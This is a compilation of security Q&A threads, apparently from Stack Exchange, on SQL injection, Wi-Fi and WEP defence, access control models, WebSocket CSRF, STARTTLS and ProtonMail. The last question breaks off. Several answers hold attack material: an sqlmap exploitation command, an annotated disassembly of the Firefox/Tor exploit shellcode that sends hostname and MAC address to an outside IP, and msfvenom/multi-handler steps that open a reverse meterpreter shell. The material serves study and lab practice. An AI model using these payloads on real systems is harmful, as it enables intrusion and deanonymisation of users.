But in the case that the parameter is sent using a POST method, how can I detect if it is vulnerable? And then how to exploit it? I think that using a proxy and intercept the query will be the solution, but is there any other way?

One of the easiest ways to do both (detect & exploit) is to download sqlmap and use the -r option.

Capture the POST request using any proxy tool, paste it into a file, then do:

# sqlmap -r <text_file_with_raw_POST_request>

(add --force-ssl switch if needed)

From: https://github.com/sqlmapproject/sqlmap/wiki/Usage


Steps to neutralize someone who has my Wi-Fi password What protection can I take against a not very experienced attacker (15 kid) who wants your Wi-Fi password, wannabe hacker and using ARP spoofing and programs such as: wifikill, selfishnet, netcut, wireshark, dumper, jumpstarter, crunch, wpswin, veracrypt, ettercap, hydra.

He owns a laptop with Windows 8 and Kali Linux on VirtualBox, which I have my hand on now to format and install an OS (is there any restriction I can make or any recommendations you suggest).

My router is a NETGEAR dg84 v3. I know it's very old. can I do something like a guest network with it?

What steps I need to perform to achieve that?

I don't want him sniffing everyone's traffic and hijacking passwords, what can I do in my situation other than getting another Wi-Fi connection?

How much damage he can do with such programs?  And does programs such as Ettercap, hydra and Wireshark works if I enabled the wireless isolation?  And disable remote access and WPS?

When he is sniffing traffic and passwords does it happen in real time?  Or is it stored somehow in the router and he can view it when want?

And which program is the most dangerous one?

If you give him the wifi password there's not much you can do to prevent him from monitoring wireless traffic. With typical consumer-grade hardware your only options to partially protect yourself are to set up a guest network (not sure if that's available on your router) or buy a second router and connect both to the network. But neither of those are perfect solutions and the only real solution is to not allow him on your network at all.

If you must give him network access, I would recommend using a VPN on all of your computers to prevent most packet-sniffing, and lock down the firewall and prevent any sharing features on the OS.


Access control of Linux and Bell LaPadula Model I know that access control is a very important think when we want to protect our files and in security in general. Does anyone know what access control system is used by linux?

In addition I just found the Bell-LaPadula model, which I find very interesting as a model, as it has top-secret flags etc. Does anyone know if this model is used anywhere in practice? Or is it just theoretical?

In addition, If I want to have a Linux system to have very strong access control, and I want to use this model, does anyone knows what I have to do?

The model is used in Multilevel Security (MLS) systems which provide trusted computing used by folks that have labels like the one you describe. In other words, the governments of the world.  Wikipedia has some good links here

There are solutions available today that use the model.  Some of those are listed in the article.


Could someone explain parts of the FBI's Firefox 0-day? Here is the full Javascript (and related iframes) that the FBI apparently injected into all "Freedom Hosting" pages in the course of their recent takedown.

http://pastebin.mozilla.org/2776374

The variable "magneto" looks very much like shellcode.

Some explanation is provided in this article here:  thehackernews.com

Security researchers are saying that the shellcode does not download further payloads, but instead is a self-contained binary that sends an HTTP request with the target's local MAC address and hostname.

Are the researchers simply running a vulnerable version of Firefox in a VM and monitoring the behavior when executing the exploit, or can tools like libemu also work well to give details on what the shellcode does?

Also, how could all of those tasks be performed by that small bit of shellcode? A few things get concatenated to it afterwards but regardless, the byte count is still quite low.

It's not clear what you're asking, but a researcher likely analysed the Javascript code line by line.

In doing so they saw the string "WinNT" and "Firefox", which is who the Javascript is targeting.  Linux VMs, exe analysis tools are anecdotal and don't focus on the core target: Windows machines running Firefox with ToR.  The Firefox version must be old enough to have this bug, and it sends the MAC address and other information to 65.222.202.54

After reading out each line, they got the following analysis, which shows how a powerful a few lines of assembly code (embedded in Javascript) can do quite a lot:

source

  This is an annotation and very brief analysis of the payload used by
  the Tor Browser Bundle exploit. Earlier I pasted a dump here:
  http://pastebin.com/AwnzEpmX

  Briefly, this payload connects to 65.222.202.54:80 and sends it an
  HTTP request that includes the host name (via gethostname()) and the
  MAC address of the local host (via calling SendARP on
  gethostbyname()->h_addr_list). After that it cleans up the state and
  appears to deliberately crash.

  Because this payload does not download or execute any secondary
  backdoor or commands it's very likely that this is being operated by
  an LEA and not by blackhats.

  Vlad Tsyrklevich @vlad902

A lightly annotated disassembly of the payload is included below:

00000000  skipping 0x91 bytes
00000091  5D                pop ebp
00000092  81BDE90200004745  cmp dword [ebp+0x2e9],0x20544547 # "GET "
         -5420
0000009C  7570              jnz 0x10e
0000009E  8D85D1020000      lea eax,[ebp+0x2d1] "ws2_32"
000000A4  50                push eax
000000A5  684C772607        push dword 0x726774c # LoadLibraryA
000000AA  FFD5              call ebp
000000AC  85C0              test eax,eax
000000AE  745E              jz 0x10e
000000B0  8D85D8020000      lea eax,[ebp+0x2d8] "IPHLPAPI"
000000B6  50                push eax
000000B7  684C772607        push dword 0x726774c # LoadLibraryA
000000BC  FFD5              call ebp # ebp = find function
000000BE  85C0              test eax,eax
000000C0  744C              jz 0x10e
000000C2  BB90010000        mov ebx,0x190
000000C7  29DC              sub esp,ebx
000000C9  54                push esp
000000CA  53                push ebx
000000CB  6829806B00        push dword 0x6b8029 # WSAStartupA
000000D0  FFD5              call ebp
000000D2  01DC              add esp,ebx
000000D4  85C0              test eax,eax
000000D6  7536              jnz 0x10e
000000D8  50                push eax
000000D9  50                push eax
000000DA  50                push eax
000000DB  50                push eax
000000DC  40                inc eax
000000DD  50                push eax
000000DE  40                inc eax
000000DF  50                push eax
000000E0  68EA0FDFE0        push dword 0xe0df0fea # WSASocketA
000000E5  FFD5              call ebp
000000E7  31DB              xor ebx,ebx
000000E9  F7D3              not ebx
000000EB  39C3              cmp ebx,eax
000000ED  741F              jz 0x10e
000000EF  89C3              mov ebx,eax
000000F1  6A10              push byte +0x10
000000F3  8DB5E1020000      lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
000000F9  56                push esi
000000FA  53                push ebx
000000FB  6899A57461        push dword 0x6174a599 # connect
00000100  FFD5              call ebp
00000102  85C0              test eax,eax
00000104  741F              jz 0x125
00000106  FE8D89000000      dec byte [ebp+0x89] # Try to connect 5 times
0000010C  75E3              jnz 0xf1
0000010E  80BD4F02000001    cmp byte [ebp+0x24f],0x1
00000115  7407              jz 0x11e
00000117  E83B010000        call 0x257
0000011C  EB05              jmp short 0x123
0000011E  E84D010000        call 0x270
00000123  FFE7              jmp edi
00000125  B800010000        mov eax,0x100
0000012A  29C4              sub esp,eax
0000012C  89E2              mov edx,esp
0000012E  52                push edx
0000012F  50                push eax
00000130  52                push edx
00000131  68B649DE01        push dword 0x1de49b6 # gethostname
00000136  FFD5              call ebp
00000138  5F                pop edi
00000139  81C400010000      add esp,0x100
0000013F  85C0              test eax,eax
00000141  0F85F2000000      jnz near 0x239
00000147  57                push edi
00000148  E8F9000000        call 0x246 # strlen of gethostname
0000014D  5E                pop esi
0000014E  89CA              mov edx,ecx
00000150  8DBDE9020000      lea edi,[ebp+0x2e9]
00000156  E8EB000000        call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
0000015B  4F                dec edi
0000015C  83FA20            cmp edx,byte +0x20
0000015F  7C05              jl 0x166
00000161  BA20000000        mov edx,0x20
00000166  89D1              mov ecx,edx
00000168  56                push esi
00000169  F3A4              rep movsb
0000016B  B90D000000        mov ecx,0xd
00000170  8DB5C4020000      lea esi,[ebp+0x2c4] "\r\nCookie: ID="
00000176  F3A4              rep movsb
00000178  89BD4B020000      mov [ebp+0x24b],edi
0000017E  5E                pop esi
0000017F  56                push esi
00000180  68A9283480        push dword 0x803428a9 # gethostbyname
00000185  FFD5              call ebp
00000187  85C0              test eax,eax
00000189  0F84AA000000      jz near 0x239
0000018F  668B480A          mov cx,[eax+0xa]
00000193  6683F904          cmp cx,byte +0x4
00000197  0F829C000000      jc near 0x239
0000019D  8D400C            lea eax,[eax+0xc]
000001A0  8B00              mov eax,[eax]
000001A2  8B08              mov ecx,[eax]
000001A4  8B09              mov ecx,[ecx]
000001A6  B800010000        mov eax,0x100
000001AB  50                push eax
000001AC  89E7              mov edi,esp
000001AE  29C4              sub esp,eax
000001B0  89E6              mov esi,esp
000001B2  57                push edi
000001B3  56                push esi
000001B4  51                push ecx
000001B5  51                push ecx
000001B6  684872D2B8        push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB  FFD5              call ebp
000001BD  85C0              test eax,eax
000001BF  81C404010000      add esp,0x104
000001C5  0FB70F            movzx ecx,word [edi]
000001C8  83F906            cmp ecx,byte +0x6
000001CB  726C              jc 0x239
000001CD  B906000000        mov ecx,0x6
000001D2  B810000000        mov eax,0x10
000001D7  29C4              sub esp,eax
000001D9  89E7              mov edi,esp
000001DB  89CA              mov edx,ecx
000001DD  D1E2              shl edx,1
000001DF  50                push eax
000001E0  52                push edx
000001E1  31D2              xor edx,edx
000001E3  8A16              mov dl,[esi]
000001E5  88D0              mov al,dl
000001E7  24F0              and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
000001E9  C0E804            shr al,0x4
000001EC  3C09              cmp al,0x9
000001EE  7704              ja 0x1f4
000001F0  0430              add al,0x30
000001F2  EB02              jmp short 0x1f6
000001F4  0437              add al,0x37
000001F6  8807              mov [edi],al
000001F8  47                inc edi
000001F9  88D0              mov al,dl
000001FB  240F              and al,0xf
000001FD  3C09              cmp al,0x9
000001FF  7704              ja 0x205
00000201  0430              add al,0x30
00000203  EB02              jmp short 0x207
00000205  0437              add al,0x37
00000207  8807              mov [edi],al
00000209  47                inc edi
0000020A  46                inc esi
0000020B  E2D4              loop 0x1e1
0000020D  59                pop ecx
0000020E  29CF              sub edi,ecx
00000210  89FE              mov esi,edi
00000212  58                pop eax
00000213  01C4              add esp,eax
00000215  8BBD4B020000      mov edi,[ebp+0x24b]
0000021B  F3A4              rep movsb
0000021D  C6854F02000001    mov byte [ebp+0x24f],0x1
00000224  E82E000000        call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
00000229  31C0              xor eax,eax
0000022B  50                push eax
0000022C  51                push ecx
0000022D  29CF              sub edi,ecx
0000022F  4F                dec edi
00000230  57                push edi
00000231  53                push ebx
00000232  68C2EB385F        push dword 0x5f38ebc2 # send
00000237  FFD5              call ebp
00000239  53                push ebx
0000023A  68756E4D61        push dword 0x614d6e75 # closesocket
0000023F  FFD5              call ebp
00000241  E9C8FEFFFF        jmp 0x10e
00000246  31C9              xor ecx,ecx
00000248  F7D1              not ecx
0000024A  31C0              xor eax,eax
0000024C  F2AE              repne scasb
0000024E  F7D1              not ecx
00000250  49                dec ecx
00000251  C3                ret
00000252  0000              add [eax],al
00000254  0000              add [eax],al
00000256  008DBDE90200      add [ebp+0x2e9bd],cl
0000025C  00E8              add al,ch
0000025E  E4FF              in al,0xff
00000260  FF                db 0xFF
00000261  FF4FB9            dec dword [edi-0x47]
00000264  4F                dec edi
00000265  0000              add [eax],al
00000267  008DB5750200      add [ebp+0x275b5],cl
0000026D  00F3              add bl,dh
0000026F  A4                movsb
00000270  8DBDE9020000      lea edi,[ebp+0x2e9]
00000276  E8CBFFFFFF        call 0x246
0000027B  C3                ret
0000027C  0D0A436F6E        or eax,0x6e6f430a
00000281  6E                outsb
00000282  656374696F        arpl [gs:ecx+ebp*2+0x6f],si
00000287  6E                outsb
00000288  3A20              cmp ah,[eax]
0000028A  6B656570          imul esp,[ebp+0x65],byte +0x70
0000028E  2D616C6976        sub eax,0x76696c61
00000293  650D0A416363      gs or eax,0x6363410a
00000299  657074            gs jo 0x310
0000029C  3A20              cmp ah,[eax]
0000029E  2A2F              sub ch,[edi]
000002A0  2A0D0A416363      sub cl,[0x6363410a]
000002A6  657074            gs jo 0x31d
000002A9  2D456E636F        sub eax,0x6f636e45
000002AE  64696E673A20677A  imul ebp,[fs:esi+0x67],dword 0x7a67203a
000002B6  69700D0A0D0A00    imul esi,[eax+0xd],dword 0xa0d0a
000002BD  83C70E            add edi,byte +0xe
000002C0  31C9              xor ecx,ecx
000002C2  F7D1              not ecx
000002C4  31C0              xor eax,eax
000002C6  F3AE              repe scasb
000002C8  4F                dec edi
000002C9  FFE7              jmp edi
000002CB  0D0A436F6F        or eax,0x6f6f430a
000002D0  6B69653A          imul ebp,[ecx+0x65],byte +0x3a
000002D4  204944            and [ecx+0x44],cl
000002D7  3D7773325F        cmp eax,0x5f327377
000002DC  3332              xor esi,[edx]
000002DE  004950            add [ecx+0x50],cl
000002E1  48                dec eax
000002E2  4C                dec esp
000002E3  50                push eax
000002E4  41                inc ecx
000002E5  50                push eax
000002E6  49                dec ecx
000002E7  0002              add [edx],al
000002E9  0000              add [eax],al
000002EB  50                push eax
000002EC  41                inc ecx
000002ED  DECA              fmulp st2
000002EF  3647              ss inc edi
000002F1  45                inc ebp
000002F2  54                push esp
000002F3  202F              and [edi],ch
000002F5  303563656134      xor [0x34616563],dh
000002FB  64652D39353164    gs sub eax,0x64313539
00000302  2D34303337        sub eax,0x37333034
00000307  2D62663866        sub eax,0x66386662
0000030C  2D66363930        sub eax,0x30393666
00000311  3535623237        xor eax,0x37326235
00000316  396262            cmp [edx+0x62],esp
00000319  204854            and [eax+0x54],cl
0000031C  54                push esp
0000031D  50                push eax
0000031E  2F                das
0000031F  312E              xor [esi],ebp
00000321  310D0A486F73      xor [0x736f480a],ecx
00000327  743A              jz 0x363
00000329  2000              and [eax],al
0000032B  0000              add [eax],al
0000032D  0000              add [eax],al
0000032F  0000              add [eax],al
00000331  0000              add [eax],al
00000333  0000              add [eax],al
00000335  0000              add [eax],al
00000337  0000              add [eax],al
00000339  0000              add [eax],al
0000033B  0000              add [eax],al
0000033D  0000              add [eax],al
0000033F  0000              add [eax],al
00000341  0000              add [eax],al
00000343  0000              add [eax],al
00000345  0000              add [eax],al
00000347  0000              add [eax],al
00000349  0000              add [eax],al
0000034B  0000              add [eax],al
0000034D  0000              add [eax],al
0000034F  0000              add [eax],al
00000351  0000              add [eax],al
00000353  0000              add [eax],al
00000355  0000              add [eax],al
00000357  0000              add [eax],al
00000359  0000              add [eax],al
0000035B  0000              add [eax],al
0000035D  0000              add [eax],al
0000035F  0000              add [eax],al
00000361  0000              add [eax],al
00000363  0000              add [eax],al
00000365  0000              add [eax],al
00000367  0000              add [eax],al
00000369  0000              add [eax],al
0000036B  0000              add [eax],al
0000036D  0000              add [eax],al
0000036F  0000              add [eax],al
00000371  0000              add [eax],al
00000373  0000              add [eax],al
00000375  0000              add [eax],al
00000377  0000              add [eax],al
00000379  0000              add [eax],al
0000037B  0000              add [eax],al
0000037D  0000              add [eax],al
0000037F  0000              add [eax],al
00000381  0000              add [eax],al
00000383  0000              add [eax],al
00000385  0000              add [eax],al
00000387  0000              add [eax],al
00000389  0000              add [eax],al
0000038B  0000              add [eax],al
0000038D  0000              add [eax],al
0000038F  0000              add [eax],al
00000391  0000              add [eax],al
00000393  0000              add [eax],al
00000395  0000              add [eax],al
00000397  0000              add [eax],al
00000399  0000              add [eax],al
0000039B  0000              add [eax],al
0000039D  0000              add [eax],al
0000039F  0000              add [eax],al
000003A1  0000              add [eax],al
000003A3  0000              add [eax],al
000003A5  0000              add [eax],al
000003A7  0000              add [eax],al
000003A9  0000              add [eax],al
000003AB  0000              add [eax],al
000003AD  0000              add [eax],al
000003AF  0000              add [eax],al
000003B1  0000              add [eax],al
000003B3  0000              add [eax],al
000003B5  0000              add [eax],al
000003B7  0000              add [eax],al
000003B9  0000              add [eax],al
000003BB  90                nop


Should I use a SSL in my test domains? I use a SSL in my main domain, that is the one my clients access.

However, I have a second domain with the same content (including login credentials) that I use only for test and development.

Should I secure this test domain too?

Yes, you should. You might need to test if e.g. a particular request works over HTTPS, but testing on a production system is a bad idea (the production system should remain stable), and your test system should match the production system as closely as possible. Secondly, if you're sharing the login details between domains, why shouldn't the test domain be secured as well?

If the price of the certificate is a problem, what you can do is:

Get a free cert from Let's Encrypt.
Use a self-signed cert.
Set up your own internal certificate authority for the test domain (probably the best option).


Can we attack with and target the same computer Recently I have gained interest in Kali, especially frameworks such as Metasploit. Let's assume that I only have one computer that does not have access to the internet. I want to learn how to use tools and frameworks in Kali such as Metasploit. I have found many books that explain how to get started in Metasploit. Is there any way that I can use my computer as both the attacker and the target while staying offline?

Yes, but instead of that use a Virtualisation software like VirtualBox or VMware to install the victim machine or attacker machine (you don't want a vulnerable machine connected to the internet directly).
Read books like Metasploit: The Penetration Tester's Guide, it is a great book written by the developer of Metasploit. However, a lot of functionality of Metasploit has changed since the release of the book and there is no updated version of it.
So, I would recommend reading Penetration Testing - A Hands-On Introduction to Hacking. It is relatively new and a good book.

The Lab Setup

As you will read the books, they will guide you how to setup your own testing lab. With each and every step in details.

The problem

Maximum books start with windows XP, but unfortunately, Microsoft has ended their support for Windows XP. So, you will have a hard time in finding XP setup. Even if you manage to find windows XP, the vulnerability listed in books will be patched (unless you are using some online Pen-Testing lab, I will come to this later).Then you will say "What is the use of reading this book", it will teach you the basics of following things, "How to exploit known vulnerabilities" and many other ways on "How you can compromise a system". In the coming chapters you will find, they will exploit some known vulnerabilities and gain access to system and will try to teach you some Post-Exploitation (i.e what to do when you have compromised a system). There is one whole chapter on "Post-Exploitation" but you will need to use few tricks of Post-Exploitation every once in a while.You will find it frustrating that you can't do anything about a patched vulnerability. Below I will describe a small trick to compromise a computer, so you can enjoy some Post-Exploitation until coming chapters.

Solution :

Assuming you managed to find Windows XP and things are patched and you want to enjoy some Post-Exploitation.

 Follow the following steps :

Open a terminal
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=(ip of your machine) LPORT=(port you want to connect back to) -f exe > filename.exe

Transfer this file to victim machine and disable windows firewall and AV as it will be detected by any AV (this is not a good method to compromise a system but to learn some Post-Exploitation you can use it). Do not open the file wait till you are done with all the steps.
  Again open a terminal and type
  msfconsole
   use multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST XXX.XXX.XX.X
   set LPORT XXX
  run (do not close this terminal, here you will get your meterpreter session after running the file on victim machine)
  When you are done with all of the above steps you can go to victim machine and run the generated exe file.

Hoollaa! you will get a meterpreter session and now you can enjoy some Post-Exploitation

NOTE

1- Read how to setup your lab from the book carefully otherwise above generated exe file will not work.
2- You can get your ip address by typing ifconfig (all these things are mentioned in lab configuration section, so go through it).
3- Make sure you have entered same LHOST and LPORT value at the specified place.

You can also learn from SecurityTube about Metasploit in Megaprimer section. The videos are free to watch but can subscribe to them and you can get access to their online lab. Then you will not have to go through all the troubles described above. It's your choice.

I hope this may help you.

UPDATE

The above-generated file will work for windows only. But you can also use vulnerable Linux distro like metasploitable. These are specially designed vulnerable Linux distro and you will find several tutorial and books on how to exploit metasploitable.


Is following code vulnerable? Consider following C code snippet:
void barfoo (int authstatus) {
    char packet[1024];

    fgets (packet, 1023, stdin);
    if (authstatus != 0)
       system (packet);
    else
       syslog ("Not authorised to process packet");

    return;
}

Attacker can only call this function with auth_status set to 0. Goal of the attacker is to execute code of his choice like spawn a shell. So, can attacker do this in any way if he has to exploit only this function or any function directly related to this function like fgets or system or syslog?
I am unable to find any vulnerability in this. For instance fgets checks for bounds so buffer overflow is not possible.

Your question is:

can attacker do this in any way if he has to exploit only this function or any function directly related to this function like fgets or system or syslog?

And you said in a comment:

we are only familiar with stack based buffer overflow, format string exploits, return to lib c attacks, basic heap based buffer overflow.

So hardware flaws are not within the scope of this question.
I assume that when you say auth_status, you actually mean authstatus.
In that case, I agree with you: No, this code is not vulnerable.
I did find one potential vulnerability: calling fgets() to read some bytes from stdin would affect what happens next time you read stdin. In particular, it would affect what happens next time you call barfoo() (possibly with a different value of authstatus). But this seems like overthinking it, since you said:

there is no other relevant code besides this


If an IP address is known, can all of its browsing activity be viewed by an outsider? Internet service providers (ISP) can choose to have full information on the browsing activity of one of its subscribers.
Can an outsider, who is not the ISP, but who simply knows someone's IP address, be able to somehow monitor the browsing activity of that IP address and know every website it is visiting?
How much information can an outsider obtain with only the IP address in hand, or maybe with additional details like the MAC address of the device? Or is it completely impossible

It depends on your outsider. A normal internet connection goes from your client (like a browser) to an endpoint (like a website).
The ISP as well as the endpoint knows your IP address. However when connecting through the ISPs network through a website you often have additional routers on the path, big internet exchanges ... Just do a traceroute from your home IP to some website and you often get half a dozen hops or more.
So everyone with the ability to sniff on or between these hops could possible know where you connect to. The more close to your home the more likely they can see all the endpoints you connect to.
Assuming a local ISP or your countries three letter agency, they can see the domains (or IPs in general) you visit, when you visit them, how long you visit them, the amount of traffic exchanged with the endpoint, the OS and applications you use, the protocols you use and in case the protocol does not use encryption they can also see the content.
Based on that, they could make some assumptions what URL you visited and what you are doing online in general and how your soft/hardware stack looks like.
With encryption they can't directly see the content by just passively looking at the traffic. They could start active attacks which generally are a bit more noisy to see your content.
Also they could attack the endpoint itself to see what you are doing.
On IPv4 MAC addresses are not transmitted outside your local network. On IPv6 this is more of an issue.


Preventing CSRF attacks against WebSocket communications I have read the thread about CSRF attacks in websockets (Do WebSocket-powered web apps (e.g. "comet" apps) have to worry about CSRF?) and also some more material regarding websocket security, but none of them seem to address the following issue -

Is it possible for an attacker to cause (by luring the victim to press a link) a legitimate user to open a WebSocket towards the legitimate service and/or cause the victim to send messages crafted by an attacker within the victim's existing WebSocket? (similar to a standard CSRF attack in the context of HTTP).

If possible, what can be done to prevent it?
Is sending a token in the WebSocket URL during the WebSocket opening enough, or does the token need to be sent within each and every one of the requests sent within the WebSocket?

We are intending to use WebSockets to implement a chat in the unauthenticated area of our site, and we want to make sure we are doing everything possible to prevent malicious users from executing attacks similar to the one described above. Any special recommendations regarding the most secure way to implement this?

A CSRF attack on WebSocket is possible, if you rely on authentication cookies. From RFC 6455 §1.3:

  The |Origin| header field [RFC6454] is used to protect against unauthorized cross-origin use of a WebSocket server by scripts using the WebSocket API in a web browser.  The server is informed of the script origin generating the WebSocket connection request.  If the server does not wish to accept connections from this origin, it can choose to reject the connection by sending an appropriate HTTP error code.  This header field is sent by browser clients; for non-browser clients, this header field may be sent if it makes sense in the context of those clients.

I've highlighted a few parts. The first magic word is can and the second is may. WebSocket servers can check the origin, but this is optional. Non-browser clients may send the origin header, but this is not mandatory.

A malicious actor could use a CSRF attack to open a WebSocket connection to a WebSocket server and the cookies would be appended by the browser to the request. If the server does not check the origin, or if does check the origin but the origin is forged, then the attack acquires a read-write tunnel to the WebSocket server with the permissions of the victim.

Checking the origin probably covers the majority of attacks since humans traditionally use major browsers that do send the correct origin header. However, in the face of non-browser clients, which can "send fake |Origin| header fields, misleading the server" [RFC 6455 §10.1], other mechanisms should be applied. This blog post suggests both checking the origin and using session-individual random tokens as countermeasures. I suppose one can also perform some kind of authentication over the WebSocket connection, after it is established, though this can harm usability.


Set up a WEP network as safely as possible WEP is dead and no one should use it... but I have a couple of devices that I would like to use (mainly an original DS that does not support any of the newer standards)

Is it possible to set up a usable WEP wifi network that isn't a gaping hole into the rest of my network? Maybe something that can reject devices that aren't ones that I want connecting to it.

The encryption won't be anything useful but the devices connecting to it won't be transmitting anything important, however I'd really like to prevent others from connecting to and using it

Consider a WEP-network as a room with public access. Think of it as a dark room and people communicating by calling each other's names audible to everyone.

All means to identify persons eligible to enter are rendered futile due to the nature of that room. After cracking the WEP-key any MAC-address can be spoofed. You cannot increase security for any device within that network, because there are no means to cut off communication effectively or in other words to throw someone out of the room, as you can't see that person.

If you consider your WEP-unprotected network public, you can limit further access to a more secure network segment by enabling access via VPN. This can reduce harm to devices and services located behind the VPN-gateway.

The only faint possibility to keep attackers slowed down eavesdropping within your WEP-protected network is to use heuristics to throw them out of your network as soon as they do „unusual“ things in comparison to the devices normally connected to your network. But keep in mind, that this will lead to a false sense of security as it relies on obscurity of some behaviour of your common network devices. And there is no security by obscurity. Also honeypots used to detect attackers might work only once. Every measure you can use to identify attackers can be analysed by the attackers themselves to circumvent it.

Summarised you can:

protect network devices within that segment, if they can protect themselves i.e. up to date operating systems tuned to a security level that you might use to log into a public WIFI-network
protect attached network segments by enforcing usage of VPN for access

you cannot:

protect credentials used in that segment
protect obsolete devices within that network from being attacked
protect communication which doesn't use an encryption totally unrelated to the authentication mechanisms of WEP.


Credit Card Fraud Prevention - Why Aren't Simple Things Used? I use my American Express card every day, sometimes multiple times.  I do a mixture of card-present and card-not-present transactions.  AMEX has decent fraud detection and I get notified quickly if they suspect something.

However, for the third time in less than a year, my info was compromised.  This time, the thief actually made a fake card and used it multiple times before it got blocked.

It got me wondering why seeming simple things are not used to prevent this.  Some examples...

Every X transactions (where X is a small but random number) a photo ID is required to complete a card-present transaction with card confiscation if ID is not provided.
Every card-present transaction uses a cheap webcam to snap a photo of the holder.  Legitimate users shouldn't be bothered by this, but it might prevent thieves from using fake cards.
One-time use numbers.  My old Discover Card did this years ago.  There was a web site that would generate a one-time use number, valid only for one transaction.  Even if the info was intercepted in transit, it couldn't be used more than once, and would not compromise my real card info.

The coming chip-and-pin system in the US might help things a little bit, at least for card-present transactions.  But for online purchases, it seems there are simple, inexpensive, minimally intrusive things that could be done.  Why are the card issuers, banks, and gateways apparently not doing more and just eating the costs of fraud?

I recently lost my ID at a ski resort. While I was waiting for them to mail it back, I got groceries. If they had asked me to present ID, then I would have had it taken. Plus, there's a burden on the sellers to confiscate/store IDs, and deal with all the people who would absolutely lose their marbles when their CC is confiscated. You'd be really screwing with normal commerce.
That's a ton of data. Plus, a photograph doesn't mean too much if you're prepared for it. Makeup, wigs, and lighting are magical.
Interesting. A two-step auth for credit cards! That's feasible, but vendors are just starting to roll out two step for passwords. That might be a ways off for the general populace, which when faced with technology is only slightly smarter than a bag of hammers.

  Why are the card issuers, banks, and gateways apparently not doing more and just eating the costs of fraud?

Because they can!


Wrapping my head around Protonmail I've been trying to grasp how Protonmail could work.

From what it gather, it works like this:

When you signup, you create an account password and a mailbox password. A PGP private/public key pair is made using the mailbox password.

When you log in, you enter the account password to verify your identify, then your encrypted mail and the encrypted private key is sent to the client. The user then enters their mailbox password, which decrypts the private key, which is then used to decrypt the mail.

When mail is sent from a Protonmail account to a Protonmail account, it fetches the associated public key for that user and encrypts it with that.

Now what I don't understand is how external email accounts are treated. If, for example, my bank sends me an email, it's going to be sent in plain text, which defeats the purpose of the elaborate PGP'ing. There's no point of encrypting it when it reaches the servers, as it probably already has been intercepted in transit. This wouldn't be a problem if it was encrypted, but it isn't.

Could someone explain this to me?

This is explained on their security details page:

Securely communicate with other email providers.
Even your communication with non-ProtonMail users can be secure.
We support sending encrypted communication to non-ProtonMail users via symmetric encryption. When you send an encrypted message to a non-ProtonMail user, they receive a link which loads the encrypted message onto their browser which they can decrypt using a decryption passphrase that you have shared with them. You can also send unencrypted messages to Gmail, Yahoo, Outlook and others, just like regular email.

When you send an encrypted mail to some other mail provider, they don't receive your message. They just receive a link where they can read the message. To do this they need a password which you need to send them through some other channel.
This, of course, doesn't work the other way around. The protocol used by ProtonMail is non-standard which means that no other email service supports it. However, when both mailservers support the STARTTLS SMTP extension, they can exchange mail via TLS-encrypted SMTP. This doesn't prevent the mailservers from learning the content of the messages, but leaves any eavesdroppers between them out of the loop. So when you assume that:

The sender uses SMTP with STARTTLS to communicate with their mailserver
The senders mailserver is trustworthy
The senders mailserver supports STARTTLS and is configured to use it for outgoing connections
ProtonMail supports STARTTLS (apparently they do)
ProtonMail is trustworthy (immediately encrypts any non-encrypted emails you receive with your public key and then securely deletes the original)

then your email is secure. Unfortunately the points 1, 2 and 3 are outside of your control.


Is STARTTLS a security-vulnerability? After reading about STARTTLS and SSL and performing a scan/pentest at our server I have the next question regarding security:
Is this STARTTLS warning below a security-vulnerability? And if so why?

As far I understand STARTTLS, it means:

  Encrypt if both sides support encryption, else use unencrypted connection

and SSL:

  Always use encryption, if one side of the connection does not support SSL don't connect at all.

My scan resulted in the next warning:

  The remote SMTP service supports the use of the 'STARTTLS' command to switch from a plaintext to an encrypted communications channel.

SMTP with STARTTLS itself is not a vulnerability, though it offers a larger attack surface given the complexity of the typical TLS implementation. If you don't need it, turn it off (NIST SP800-123 §4.2.1 PDF).

If you're relying on SMTP+STARTTLS alone for communications confidentially, it's easy to get it wrong.

STARTTLS protocols (LDAP, FTP more or less, POP3 & IMAP, even HTTP which Apache supports, though it never caught on) are inherently trickier to manage from security policy and firewall perspectives. For example if you have a rule permitting HTTPS to a correctly configured web server, all a firewall need do is verify/enforce SSL/TLS records.

With STARTTLS protocols, to ensure encryption with a similar level of confidence you must have either greater protocol inspection (may not be available on your firewall, may require a proxy); or a far greater faith in the client and server implementations (e.g. to prevent sending or accepting plain text credentials).

The above point is more or less what the warning was about: with a strict TLS protocol like HTTPS you can be more confident (NULL ciphers aside) in the connection encryption than with STARTTLS and the possibly optional negotiation of encryption. It is a risk that needs to be evaluated, not a vulnerability.

The typical (non-client auth) SMTP+STARTTLS configuration (from my experience) is:

opportunistic STARTTLS
fall back to clear text on error, or when STARTTLS missing
has poor defaults (cipher selection, certificate validation)

To properly use STARTTLS to increase communication security you have to consider DNS, the elphant in the room, MX backups and MX override ("mailertable").

A client-auth (SMTPAUTH) server with STARTTLS is easier to secure if it's just to enable roaming client authenticate securely (via client certificate, username/password, or both) for relaying purposes.

An ideal secure channel implementation offers (at least) three things:

confidentiality/privacy (encryption)
authenticity (proof of identity of one or both parties)
integrity (tamper-proof, or tamper-evident)

SMTP+STARTTLS deviates from this:

since the communication starts over, and relies on, an unauthenticated, corruptable  plain text channel, there is scope for MITM interference. If STARTTLS is opportunistic, this means it could be trivially subverted (if you've ever seen a Cisco PIX or ASA doing its SMTP protocol "fixups" you'll have seen something similar in action). Similar problem if certificate validation is lax.
SMTP is a store-and-forward protocol, the TLS capability is only point to point, there is no HTTP proxy-like "CONNECT" feature. i.e. this is not end-to-end encryption. Confidentiality, authentication and integrity are limited to the connection(s), not the message, which might not be what a user expects or requires. See also How can a non-technical user verify a message was sent "securely"? ...or over TLS?


Real time Anti-virus communication with API hooks I'm writing a simple user-space, real-time, anti-virus project, with normal permissions.

Reading about many techniques an AV vendor works, I eventually chose to implement inline APIs hooks.

I have some fundamental questions about real use of AV API hooks:

My understanding of the workflow:

A hook happens in the context of a remote process (say app.exe). However, the "brain" (e.g. heuristics) of the AV (which is usually divided into many modules), is running in the AV's processes and services.

